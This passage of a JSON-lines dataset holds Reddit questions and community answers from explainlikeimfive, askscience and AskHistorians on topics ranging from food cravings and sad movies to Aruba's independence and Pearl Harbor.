be. North Korea's official title suggests it is democratic (Democratic People's Republic of Korea), but that is certainly not the case. What a country says it is and what it actually is are not always in accord."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "6ia7ul", "title": "why do people get attached to things that we name?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ia7ul/eli5_why_do_people_get_attached_to_things_that_we/", "answers": {"a_id": ["dj4og5w", "dj4rdd4"], "score": [2, 10], "text": ["Because we humanize an inanimate object. And in our life the biggest things we lose are other humans.  ", "When you name something, it goes from being distant and inhuman to being personal and human. The same reason bad guys in movies usually wear masks or helmets, humanizing something makes it harder to dislike"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "706hkd", "title": "Are there organisms that have characteristics that suggest they are part of a different kingdom of life?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/706hkd/are_there_organisms_that_have_characteristics/", "answers": {"a_id": ["dn1d4ko", "dn1d4ko"], "score": [18, 18], "text": ["Not any more really. Since the 70s much taxonomic classification is done with molecular phylogenetics. Essentially the kingdoms we have; bacteria/monera, archea, plants, animals, fungi, protists (and arguable algae) are very well defined with specific morphological, phenotypic and genetic markers for their classifiction. Using molecular phylogenetic analysis new organisms can be placed within one of the kingdoms with essentially perfect accuracy so there is seldom any reason we would get the classification at the kingdom level wrong, except in cases where we don't yet have genetic material.\n\nThe possible exception here are the protists, this group is something of a grab bag of (mostly) single celled eukaryotic organisms that didn't fit in to the other eukaryotic groups (i.e. animals, plants, fungi). It is very unclear what the taxonomy should be for these organisms and there may yet be new/further eukaryotic kingdoms that emerge from that group as we refine our understanding of them. But it is not so much that a classification would be wrong today so much as we don't have a very good classification for them yet.\n\nThat being said, convergent evolution is a thing. Two organisms which live in separate but similar environments are often seen to converge on superficially similar solutions to their problems. We're not going to confuse plants and animals, but it is certainly possible that we might confuse archeal and bacterial organisms they do appear similar and often occupy very similar environments. But even here access to genetic evidence would allow us to \"see through\" the morphological similarities and get the kingdom assignment correct.", "Not any more really. Since the 70s much taxonomic classification is done with molecular phylogenetics. Essentially the kingdoms we have; bacteria/monera, archea, plants, animals, fungi, protists (and arguable algae) are very well defined with specific morphological, phenotypic and genetic markers for their classifiction. Using molecular phylogenetic analysis new organisms can be placed within one of the kingdoms with essentially perfect accuracy so there is seldom any reason we would get the classification at the kingdom level wrong, except in cases where we don't yet have genetic material.\n\nThe possible exception here are the protists, this group is something of a grab bag of (mostly) single celled eukaryotic organisms that didn't fit in to the other eukaryotic groups (i.e. animals, plants, fungi). It is very unclear what the taxonomy should be for these organisms and there may yet be new/further eukaryotic kingdoms that emerge from that group as we refine our understanding of them. But it is not so much that a classification would be wrong today so much as we don't have a very good classification for them yet.\n\nThat being said, convergent evolution is a thing. Two organisms which live in separate but similar environments are often seen to converge on superficially similar solutions to their problems. We're not going to confuse plants and animals, but it is certainly possible that we might confuse archeal and bacterial organisms they do appear similar and often occupy very similar environments. But even here access to genetic evidence would allow us to \"see through\" the morphological similarities and get the kingdom assignment correct."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4pq9jh", "title": "Were there any artists who were really famous when they were alive, but who's fame dwindled significantly after death?", "selftext": "Basically, were there any Renaissance Era one hit wonders? Or pre Renaissance? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4pq9jh/were_there_any_artists_who_were_really_famous/", "answers": {"a_id": ["d4ngk70"], "score": [2], "text": ["Any playwright who wasn't Shakespeare?\n\nJohn Fletcher would be a pretty solid example. Was probably considered the best playwright going (in england anyway) in his lifetime and few decades after but well at this point you could almost say his claim to fame was that he collaborated with Shakespeare on a couple of plays."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "63978l", "title": "why is dried tobacco brown?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63978l/eli5_why_is_dried_tobacco_brown/", "answers": {"a_id": ["dfs8xss", "dfs92tc", "dfsa2is"], "score": [4, 3, 4], "text": ["Depends on how it was dried and if it was allowed to ferment then dry. For example: Black tea is the same as green tea, both are from the same plant, but black tea is kept moist and allowed to ferment, before it is dried, making the leaves black. \n\nThere are green leaf wrappers, used for some cigars that retain the green color.", "It basically comes down to length and degree of exposure to air. Chlorophyll pigments start to break down when they become oxidized.\n\nDried mint, thyme, basil, cannabis, bay, lavendar, hops, and so on, are dried for maybe two weeks tops. Tobacco is dried for four to eight weeks.", "tobacco colors range from golden blonde to charred black.  the leaf starts green however various styles of curing dry the tobacco and the coloring usually shifts as perhaps grass does when exposed to to much sun.  Tobacco is \"brown\" and other colors because of the curing processes the tobacco is exposed to"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "dl6x97", "title": "Why did Suriname obtain independence from the Netherlands in 1975 but Curacao and Aruba did not?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/dl6x97/why_did_suriname_obtain_independence_from_the/", "answers": {"a_id": ["f4odezt"], "score": [7], "text": ["I can only speak for Aruba.\n\nAt the time the kingdom consisted of the Netherlands, the Netherlands Antilles(Dutch Caribbean Islands) and Suriname. \n\nAruba was busy with its own independence movement culminating in a 1977 referendum. The options were to stay as part of the Netherlands Antilles(with Cura\u00e7ao as the head of government) or to secede and become independent. It ended with a 95% vote in favor of the latter. \n\nThe Treaty of the Hague(1983) was signed and Aruba's independence was set for 1996. In 1986, Aruba gained its \"status aparte\" paving the way for its independence in 1996. It was now a constituent country alongside the Netherlands Antilles and the Netherlands in the kingdom of the Netherlands. \n\nThe reason Aruba never ended up gaining full independence is because in 1994, both the government of Aruba and the Netherlands came to an agreement that total independence wasn't necessary yet and that the status quo was acceptable. The kingdom would continue forward as it had done since 1986 with Aruba, the Netherlands Antilles and the Netherlands until 2010. \n\nThe independence clause still exists in the kingdom statutes, giving Aruba the right to independence if it so pleases following a new referendum and a 2/3 majority in parliament. Cura\u00e7ao and Sint Maarten do not enjoy this clause. As of today, there is no reason to believe that the people want to be completely independent in contrast to the 1977 vote.  \n\n\nSources:\n\n[Worldstatesmen](_URL_0_)\n\n[Historia di Aruba](_URL_1_)\n\n\n\n[Statute for the Kingdom of the Netherlands](_URL_2_ 58 Statuut voor het Koninkrijk der Nederlanden)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.worldstatesmen.org/Aruba.html", "http://www.historiadiaruba.aw/index.php?lang=en", "http://Artikel"]]}
{"q_id": "1ovnr9", "title": "What are possible uses for the Scanning Tunnelling microscope?", "selftext": "I know it has atom 'imaging' and manipulation uses however is it practical for any other uses in particular medical or chemical technologies?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ovnr9/what_are_possible_uses_for_the_scanning/", "answers": {"a_id": ["ccw5o7u"], "score": [3], "text": ["You can use the tip to pick up small objects. You can also apply a large voltage across the tip and the surface and use it for drawing lines on certain metal. This works because most metals in air have a very thin layer of moisture on the surface, and if you apply a voltage the O in H2O can react with the metal surface to form a layer of oxide where the tip is. In many metals the oxide has greater volume than the metal on its own. This creates a small bump. A series of these can create a line, or any shape you want. I did this for a year with an AFM."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "42xq4n", "title": "the phillips curve.", "selftext": "How does increased cash inflows motivate businesses to hire more, even though inflation apparently negatively affects the value of those cash inflows?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/42xq4n/eli5_the_phillips_curve/", "answers": {"a_id": ["cze05ex"], "score": [2], "text": ["You may have the causation backwards. The textbook theoretical explanation for the Phillips curve is that increased aggregate demand for goods and services tends to push prices up. It is also associated with lower unemployment (people want to buy more, firms hire more workers to make and sell the extra goods). Conversely, decreased aggregate demand for goods and services pushes prices down (or causes inflation to drop) and is associated with higher unemployment. This is usually called \"demand push\" inflation."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9kirur", "title": "how come countries like japan  &  s.korea flourished while ones like the philippines  &  malaysia remained poor?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9kirur/eli5_how_come_countries_like_japan_skorea/", "answers": {"a_id": ["e6ze35f", "e6zg9gj"], "score": [2, 2], "text": ["Anti-communist East Asian nations became anti-communist largely due to their close ties with and support from the US.\n\nJapan, and to a lesser degree South Korea, were occupied the US for nearly a decade after WWII, and were essentially rebuild in it image with massive amounts of foreign aid.  Both countries still have US military bases to this day.\n\nThe Philippines are kind of an odd exception.  They became a US territory after the Spanish-American War and was only occupied by Japan for a few years during WWII.  Japan and South Korea (which was a part of Japan during WWII) were enemy nations that were conquered and their governments build up from scratch.  The Philippines were merely liberated and returned to the status quo.  A few years later, they were given the option of independence or remaining with the US, and they chose independence.\n\nIn 1965, Ferdinand Marco came to power in the Philippines, and for the first part of his reign, saw the same sort of positive economic development that Japan and South Korea enjoyed.  But the longer he was in power, the more oppressive he became, and the more he used the country as a tool for his personal enrichment.  The later part of his regime saw him become a brutal dictator who declared martial law, oppressed political opponents, and fixed elections.  The US largely turned a blind eye because he was a staunch anti-communist and a strategic ally.  So when he was overthrown for his abuses in 1986, the new government wanted little to do with the country that supported him, eventually decline to renew leases on US military bases.\n\nWhile this might have been the right move politically, between the Marcos kleptocracy and the estrangement with the US, the Philippines, its economic and political stability suffered greatly, and it followed a path more similar to the other developing countries in the region.\n", "How can try to explain the economical grown if you don't include politics. Corruption and other simlirat hing like how the justice systmem work and if it is a stable environment to invest in is import.\n\nTo say that South Korea is a democracy  is true today but the majority of the time since independence after WWII it was not. The first free parliamentary election was in 1991. From 1960-1979 is was a military dictatorship. So huge part of the extremen economic development of South Koreas was not a democratic county. The change of the economy is huge. In the 1950s it was one of the poorest countries in the world with GDP comparable to may sub Saharan nations. The rapid growth is during the military dictatorship when they  promoted growth through labor-intensive manufactured exports. If was not until 1965 that the growth rate was higher in South Korea then in North  Korea  bur south koread GDP was lower.\n\nWhy skip communist countries? China and Vietnam have grown a lot and they stared as port countries after WWII and even more war for Vietnam. \nPiliphines was richer then South Korea in 1960  but China matched the GDP in min 1990s  \n\nChina had the GDP that Korea had in 1960 in 1993 so 33 years later. Today they have the GDP of south Korea in 1988 so there development have been the same but china started at a even lower level then South Korea.\n\n\nThe fact that the leader of the Philipnes 1965-1986 was Ferdinand Marcos 1971-1981 under martial law. The a regime was infamous for its corruption, extravagance, and brutality.\u00a8\n\nPark Chung-hee 1963-1979 was not knows as corrupt the same way and he reduce it compare to his predecessor Rhee Syngmam. But hew was not completly clean and his daughter Park Geun-hye was impeached and jailed for corruption in 2017 after been elected presidenten 2013.\n\n\nSo politics and who the leader is is important for the development of a country.\n\n\n\n\nYou can see the development on this page.\n\n_URL_0_\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.gapminder.org/tools/#$state$time$value=2017&amp;delay:100;&amp;entities$show$world_4region$/$in@=asia;;;;&amp;marker$select@$geo=kor&amp;trailStartTime=1960;&amp;$geo=chn&amp;trailStartTime=1960;&amp;$geo=phl&amp;trailStartTime=1960;&amp;$geo=jpn&amp;trailStartTime=1960;&amp;$geo=vnm&amp;trailStartTime=1984;&amp;$geo=ind&amp;trailStartTime=2017;&amp;$geo=idn&amp;trailStartTime=2017;;&amp;opacitySelectDim:1&amp;axis_x$which=time&amp;domainMin:null&amp;domainMax:null&amp;zoomedMin=1960&amp;zoomedMax=2017&amp;scaleType=time&amp;spaceRef:null;&amp;axis_y$which=gdppercapita_us_inflation_adjusted&amp;domainMin:null&amp;domainMax:null&amp;zoomedMin:115.79&amp;zoomedMax:144246.37&amp;scaleType=genericLog&amp;spaceRef:null;&amp;size$domainMin:null&amp;domainMax:null&amp;spaceRef:null;;;&amp;chart-type=bubbles"]]}
{"q_id": "9waolb", "title": "why should i donate to the people in malibu?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9waolb/eli5_why_should_i_donate_to_the_people_in_malibu/", "answers": {"a_id": ["e9j9go0", "e9j9gsm", "e9j9khu", "e9j9ld6", "e9j9mvy", "e9jbasm", "e9jboi6", "e9jbsfl", "e9jbxtd", "e9jc0lo"], "score": [17, 4, 8, 13, 5, 3, 3, 2, 4, 2], "text": ["That's a pretty interesting moral question. They're victims of a natural disaster, they didn't deserve it, and the fact that most of them have other money somewhere doesn't mean that they just hop back on their feet. It doesn't necessarily mean that they're are or are not it need of help.\n\nBut I think one element of your question implies \"if I'm gonna donate why donate to *them*?\" Then you can get into \"maybe the most deserving cause hasn't happened yet\" and you can reason yourself into hoarding your charity forever waiting on a moving enough disaster.\n\nYou don't have to donate to anyone, but I don't think there's any scenario where it's fair to say that you *shouldn't* donate to helping people in need.", "Because you care.  Personally I'm a cold heartless bastard and I don't care.  I did donate to Katrina though. Can't explain why.", "You are not obligated to donate anyone and I understand where you are coming from but maybe you should ask this in \nr/changemyview. ", "10.6% of the residents of Malibu live below the poverty line.\n\nI'm sure many others are not quite impoverished, but just average lower or middle class folks for whom the fire wiped out their finances.\n\nAverage income in Malibu is $90k, but that's just because it's skewed way upwards by people with 6- or 7-figure (or more...) incomes.", "It isn't just rich people who've been affected - there are plenty of regular people with limited resources to fall back on. Those are the ones who need your help. ", "It is unlikely that aid will go towards celebrities. On the contrary, I suspect wealthy residents of Malibu are also donating.\n\nYou're probably right that on average, victims are richer than those of other disasters. However, that doesn't mean that there aren't poorer people who need a lot of help.\n\nThat said rather than judging people in Malibu for their choice to live in a drought area, or for being rich, take this opportunity to think of what you do care about and people you want to help, and help them. There is more than enough need to go around.", "What about the mom and pop restaurants and stores that happen to be in Malibu? It\u2019s not just homes it\u2019s businesses as well. \n\nWhen you give money, you don\u2019t always know where it ends up. You just hope that you\u2019re helping someone. At least that\u2019s how I look at it. ", "Questions like this are better in r/philosophy.", "Because not everyone who lives in Malibu/Thousand Oaks/Calabasas is Kim Kardashian West or Jeffree Star or Clay Matthews. There are plenty of people who have a posh zip code and live at or below the poverty line.\n\nThey did not start the fire. They\u2019re not out there fanning flames and hoping they won\u2019t have an apartment, or a place of work, or a grocery store to shop in.\n\nNot to mention, there are thousands of animals who need help. Dogs, cats, horses, and so on. \n\nPeople are in shelters with bare minimums. Some with just the clothes on their backs, still smelling like smoke.\n\nAnd in Northern California, it\u2019s worse. Paradise, California is gone. Burned to the ground.\n\nThat\u2019s the reality of wildfires in California. Just because it\u2019s a swanky address doesn\u2019t mean shit. It just means there\u2019s poorer neighborhoods on the other side of the freeway, because someone works for the swanky addresses as staff.", "Donating to people you don't know and will most likely never meet is quite the headscratcher. I would say the only reason people do this is because it makes them feel good inside. Perhaps there are true alltruists out there - but I would say the majority of folks who donate, get off on it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "fvaqnz", "title": "does our body know unconsciously what foods have which nutrients in them?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fvaqnz/eli5_does_our_body_know_unconsciously_what_foods/", "answers": {"a_id": ["fmheg3d", "fmhgjdm", "fmhibw5", "fmhixjw", "fmhj0f8", "fmhj2hn", "fmhjgre", "fmhkd2m", "fmhktgs", "fmhlg53", "fmhlile", "fmhn3gv", "fmhoclp", "fmhowy6", "fmhp5im", "fmhpz4x", "fmhq6v9", "fmhs3i5"], "score": [6, 127, 43, 494, 39, 4, 489, 9, 2, 18, 18, 17, 2, 5, 2, 3, 2, 2], "text": ["sometimes i get hungry on some specific food, that i usually don't eat. so i think, my body wants me to eat it, since it need sth from it", "I hope no one qualified answers this question, and I can continue to delude myself into believing this as I shovel trash into my mouth.", "Not sure. I never liked pickles, but one day when I was in college at the cafeteria salad bar, I ate a huge plate full of pickle spears and it just felt right. I wasn\u2019t high either. Always thought that moment was some bodily craving, like a pregnant woman, except I\u2019m male.", "I recall hearing an interview with some guy who survived being left adrift on the ocean for weeks. He managed to catch fish to eat and survived by drinking rain water. He said that he found he had an urge to eat fish eyes. Turns out they are rich in some nutrients that are not found in the rest of the animal. I imagine that he would have had to try them at least once before his body would unconsciously recognise that they contained the good stuff.\n\nEdit: found the article _URL_0_\n\nFish eyes are full of vitamin C, who knew?", "I don\u2019t know but when i am sick (Crohn\u2019s disease) and can\u2019t keep food down for more than a week I always get mad cravings.  Usually for anything with tomatoes, sardines, cheese and anything salty.  I usually get anemic during those periods too.  Any other time I cannot stand sardines.  And if I am just anemic and still able to eat the cravings are only for tomatoes.", "My \"suspcian\" is kinda.  I suspect your body remembers that in the past it felt bad (because it was low on \"X\" ) and it remembers that it felt better after it ate \"Y\". Over time your body learns what works to make it feel better and what doesn't. The problem is it also learns that things like sugar and caffeine also makes them feel good. Those \"addictive\"  foods and the desire to consume them can be a stronger compulsion than the desire to eat heatlhy.", "Humans and animals do, to a large extent. Egg laying chickens, for example, have been shown to effectively regulate their calcium intake - if provided with regular feed and limestone (a calcium source), they will eat the regular feed during the day and the calcium in the evening, which is when their body needs it the most to form the shell of the egg they lay in the morning.\n\nThere have been studies utilising what\u2019s called geometric framework analysis which show that humans eat to satisfy their protein requirement - so you will keep on eating until you have the protein your body needs, regardless of the carbohydrates and fats (and hence energy) that come with it. Your body also craves rich energy sources - sugars, easily digestible starches, and fats. This in combination with a sodium appetite (which I think all vertebrates have) can explain why food like potato chips can be so addictive.\n\nI think the more you pay attention to what you eat and notice how it makes you feel, the better you will be at identifying what your body needs. Educating yourself on the nutrient values of food and what different nutrients do for you might also help - although it\u2019s hard to tell if that\u2019s a bit of a placebo type effect or not.", "I will attempt to answer. Over long evolutionary period, our ancestors have built up a catalog for different kinds of food in different situations. Since food was always scarce, we have developed taste for many types of food. This helps us survive when a certain type of food is not present in our surroundings. Since oxygen was never scarce, there was no evolutionary advantage of developing a good taste of breathing oxygen. Our ancestors pass their dna to us with compressed information regarding what to eat in different circumstances. \n\nWe do not crave these weird foods normally like the guys who are fish's eyes. However when certain conditions are met, like scarcity of other type of foods, the our dna which corresponds to the good taste of fish eyes get activated. They make our physiology such that we like the taste of these weird foods.", "Read about a guy lost at sea, ate fish he caught raw off the side of his boat. One day he started thinking the heads looked tasty, smashed them too. Turns out that's where the iron is and he was deficient. Something in him knew fish heads are packed with iron without ever learning it previously.", "While this probably does happen to some extent, its actually unusual for anybody in the western world to really have a major vitamin deficiency other than mild D; which really is probably more because of the amount of time we make ourselves able to spend out of the sun's direct light than diet.\n\nUnless you are radically altering your own diet (like going vegan) or have some sort of weird food preference (\"I only eat hot dogs, because I am an adult and I can\") then its really just marketing bullshit. (or you have a medical condition and a doctor says otherwise ofc) \n\nInstead, we learn foods, and use shortcuts one of those shortcuts is taste. Sugar, for example, is a great natural food, that comes with lots of fiber and other nutrients. Sugar is one of the ways your body identifies nutritious food. Its a million year old shortcut....\n\nSo basically, a cheesecake, is like pulling a massive practical joke on your body by concentrating together the things that would normally be in much smaller proportions. The body says \"holy shit this is the most nutritious thing we have ever found\"... activate reward centers now! Reinforce this behavior!\n\nThe thing is, its not, its just loaded up with the stuff our taste buds are really good at detecting, and with all the stuff that is hard to process removed.", "Yes. There is a well known experiment where kids are offered 21 (I think) different foods over a period of a few weeks. They ate strange combinations but always got the appropriate vitamins and minerals. \n\nAlthough if offered high sugar items I believe this screwed up their internal system.\n\nEdit: This is the study I was referring to. 15 kids tracked over 4.5 years and offered 33 different food items in unlimited quantity over that time period. \n\n_URL_0_", "I don't know for sure in humans but I am a doctor in Biology and I can say that fruit flies (drosophila melanogaster) can sense a lack of a single amino acid in the food and choose the one with more variety in its content.", "Another weird thing, cows will eat old bones of other cows or animals out on the range if they need calcium.", "Sometimes I used to eat, eat, eat and still constantly be hungry. My body was in need of something. It was like: 'I don't know what I want, but I need it NOW!' I ate real food mostly, not just trash. And then I by accident drank some homemade tomato sauce. And felt like I had a fucking orgasm (and wasn't hungry after that). Now when I have that intense craving I eat/drink a tomato and feel satisfied. Which nutrient did I lack?", "So all my life I have not liked anything high calcium like milk, yogurt, ice cream or cheese. Never liked it and never ate it. \n\nTurns out I had a calcium problem when I had almost double the amount of calcium in my blood stream. It was actually making me critically ill but all my symptoms was silent so I probably had this for years without realising it and my body adapted to having a high calcium levels. \n\nI got my calcium levels corrected and a few months later woke up one morning craving cheese! Never in my life had I ever experienced a cheese craving before. Now I\u2019m a huge fan!!! \n\nI am convinced this was because I had way too much calcium in my system", "I'm really curious about this one. I literally never crave vegetables yet I've been told my whole life just how important they are. I feel like I have to go out of my way to add them to my meals, or just crunch a carrot or two a day to fill my \"vegetable quota\"\". \nIs my body not telling my what I need, or are vegetables not as important as they've been made out to be?", "Your tongue exists not so that food tastes good but rather so that your body knows what is actually *in* food.\n\nIn other words, your tongue exists in order to detect chemicals in food and then motivate you to either eat something or to spit it out.\n\nThis is sort of complicated, so I\u2019ll provide an example which may help clarify my point. \n\nA basic understanding of evolutionary biology may be necessary in order to understand this example, but I\u2019ll try my best to simplify:\n\nMillions of years ago, simple sugar was scarce. It was mostly found only in fruit. \n\nSimple sugar provides a lot of energy. Therefore, people who ate more simple sugar at that time had more energy and were less likely to starve and more likely to reproduce than their counterparts who did not eat simple sugar. This may seem like a stretch, but imagine this happening over millions of years and many thousands of generations. Eating sugar gives a survival advantage. \n\nThe tongue, over time, became adapted to \u201cliking\u201d the taste of sugar simply because those individuals with tongues that did not, consequently ate less sugar and did not survive as well. Only tongues that \u201cliked\u201d sugar survived over time.\n\nThen humans invented candy, which contains massive amounts of sugar. Far more than you need. Candy is also very cheap and readily available in most parts of the world.\n\nNow you see the problem.\n\nYou think sweets tastes good which signals you to eat more, even though sweets are bad for you. Essentially, your tongue is tricked.\n\nHowever, to more specifically answer your question, you can indeed \u201ccrave\u201d foods which contain things you need such as sodium and possibly certain vitamins. \n\nThe problem is we also crave things like candy which basically are tricking our tongue, so you shouldn\u2019t eat everything you crave. To maximize health, you should probably base your diet as much on what you know about foods as you do on how they taste.\n\nI know this was very long-winded but this quarantine business has me very bored. Also, I had a tremendous amount of caffeine this morning.", "I can tell based on my cravings. I don't eat a lot of red meat(cuz hella expensive) but every so often it's all I want. Same with eggs."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.theguardian.com/world/2014/feb/04/castaway-jose-salvador-alvarenga-survival-expert?CMP=Share_iOSApp_Other"], [], [], [], [], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1626509/"], [], [], [], [], [], [], []]}
{"q_id": "2n52s8", "title": "my oscillating fan is clicking every few seconds. why would i feel a thousand times better taking a baseball bat to it than i would if i simply turned it off or threw it away?", "selftext": "I mean, either way I've solved my problem.\n\nLooking for an actual explanation. With science and shit.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2n52s8/eli5_my_oscillating_fan_is_clicking_every_few/", "answers": {"a_id": ["cmagx23"], "score": [26], "text": ["He who makes a beast of himself gets rid of the pain of being a man.\n-Samuel Johnson"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1fnigd", "title": "When we are sad, why do we usually seek more sadness?(i.e., watching sad movies, listening to sad songs, etc.)", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1fnigd/when_we_are_sad_why_do_we_usually_seek_more/", "answers": {"a_id": ["cac5g7c", "cac5hlw", "cac857j", "cac9fci"], "score": [295, 26, 7, 13], "text": ["There are a few different reasons. As far as movies are concerned, I found two different schools of thought:\n\n* 1. Compared to the characters, your life isn't so bad. Thus, you tend to appreciate what you have. ^[1](_URL_2_)\n\n >  \u201cPeople seem to use tragedies as a way to reflect on the important relationships in their own life, to count their blessings,\u201d As said by Silvia Knobloch-Westerwick, lead author of relevant study.\n\n\n* 2. Watching sad movies causes a release of oxytocin, as we empathize with the characters, and then others around us. ^[2](_URL_0_)\n\n >  When we empathize with other people (even fictional ones on screen), our brain releases oxytocin, which engages brain circuits that prompt us to care about others. \"Exercising empathy makes us better able to connect to the real people around us\", says Paul Zak, Director of the Center for Neuroeconomics Studies\n\nI had a harder time finding something definitive as far as songs go. The principals above may still apply, though I did locate a study that mentioned music specifically:\n\n* Sad songs are sympathetic. ^[3](_URL_1_)\n\n >   Researchers concluded [consumers] turned to a surrogate to replace a lost personal bond and lift their mood[...]\"Like a sympathetic friend, music, movies, paintings, or novels that are compatible with our current mood and feelings are more appreciated when we experience broken or failing relationships.\"\n\n\n**Edit** I spent way too much time trying to format that. I'm done now, I swear.^Okay, ^now ^I ^really ^am.. ", "[Listen to professor David Huron talking about sad music](_URL_0_).\n\nIn the video, he says that when something that makes you sad happens, the body will release prolactin to \"take the edge off\", i.e. console you. When you experience something sad, where nothing actually happened to you, you will experience a sort of \"sham grief\", which actually activates the brain's \"consoling response\".\n\n[removed some speculation about primitive emotional processing and cognitive appraisal. couldn't find a relevant source]", "Is there any explanation for being the opposite?  When I'm sad, I completely ignore sad songs/movies and just listen to my favorite music or watch comedies.", "The best theories of drama and literature, dating back at least to Aristotle, suggest that the purpose and function of dramatic art is to induce a state of emotional catharsis. That is, the fundamental purpose of entertainment is to achieve a vicarious sense of emotional or psychic \"closure\" of the sort that never or rarely occurs in \"real life\". \n\nThis catharsis does not have to be happy or sad to be effective, it needs only to achieve a state of heightened emotional tension, followed by the release and relief of an \"ending\". Animals in the wild and primitive man probably have no shortage of this sensation in \"real life.\" But most civilized humans very rarely experience any true finality to the majority of pervasive and perpetual low-level stresses and conflicts of life in the developed world.\n\nWhen we watch a movie, or play a game, or go fishing, or engage in certain kinds of hobbies, etc, we get an opportunity to experience some sense of closure and completion that is otherwise rare.\n\nSo why do people feeling sad look towards \"sad\" opportunities for this vicarious catharsis? The answer is because the cathartic effect only works if your own emotions are invested in the event. \n\nIt may be that a light comedy would prove a better distraction. But the person looking, whether aware of it or not, is looking for a an emotional close or \"ending\" to the stressors and emotional conflicts they are currently experiencing.\n\nCatharsis can come from a happy ending or a sad one, or from watching your team win or lose... The point is that there is an ending. There is a point of closure and emotional exhaustion, there is a narrative cause, effect, and outcome, and having that narrative finality, good or bad, allows or helps us to \"get on\" with life. \n\nIt gives us an explanation, maybe a lesson learned, maybe not, but at least we get to say \"that happened, and it happened because of X, and now it's over.\" Real life does not always afford that kind of closure, and humans are imperfectly-made for handling and living with multiple, perpetual and ongoing stressors without resolution. \n\nThe real question is \"why do people even care about watching fictional strangers at all?\" And the answer is because it allows us to experience a very primitive kind of lizard-brain \"release\" that we rarely get in modern life."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://greatist.com/happiness/why-do-like-sad-movies", "http://www.telegraph.co.uk/science/science-news/10059919/How-listening-to-sad-songs-heals-the-blues.html", "http://researchnews.osu.edu/archive/tragedies.htm"], ["http://www.youtube.com/watch?v=_pwqBAS9x3U"], [], []]}
{"q_id": "6ghx7t", "title": "what's (how does it happen) rhabdomyolysis?", "selftext": "So i was reading about crossfit and saw this, i'd like to understand how you get from exercising to peeing something similar to coke", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ghx7t/eli5_whats_how_does_it_happen_rhabdomyolysis/", "answers": {"a_id": ["diqnt89"], "score": [2], "text": ["4th year Med student here; its not as much the hemoglobin in blood as its the myoglobin present in muscle; think of it as its own personal variant; anyways when you exercise myoglobin breaksdown and its received by haptoglobin to be processed; in intensive exercise this binding capacity is overwhelmed;free myoglobin deposits in kidneys; myoglobin can cause the kidney tubules (nephrons) obstruction and inflammation (known as ATN acute tubular necrosis leading to acute kidney injury this can be seen as darkened urine, te tint being red bloodcells, hemoglobin and myoglobin all mixed together"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2qxc3p", "title": "Despite Hawaii not yet having become a state, the Pearl Harbor attack is widely regarded as being an attack on the United States. Was there any significant public opposition to war after the attack due to sentiment that the attack wasn't really \"on U.S. soil\"?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qxc3p/despite_hawaii_not_yet_having_become_a_state_the/", "answers": {"a_id": ["cnael3d", "cnaf06w"], "score": [18, 13], "text": ["It wasn't a state but it was still a territory, and it isn't as if they attacked some random Hawaiian city, they attacked a US military base. ", "Not really.  When Franklin D. Roosevelt asked congress to declare war on Dec 8, 1941 there was only a single dissenting vote.  Jeannette Rankin, congresswoman from Montana.  She was a committed pacifist her stated reason for dissenting \"As a woman, I can't go to war and I refuse to send anyone else\"\n\nAfter voting against war she required a police escort out of The Capitol Building.  From 1939 to 1941 an intense debate raged concerning whether the US should enter WWII.  Those not in favor became nearly completely silent after Pearl Harbor.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
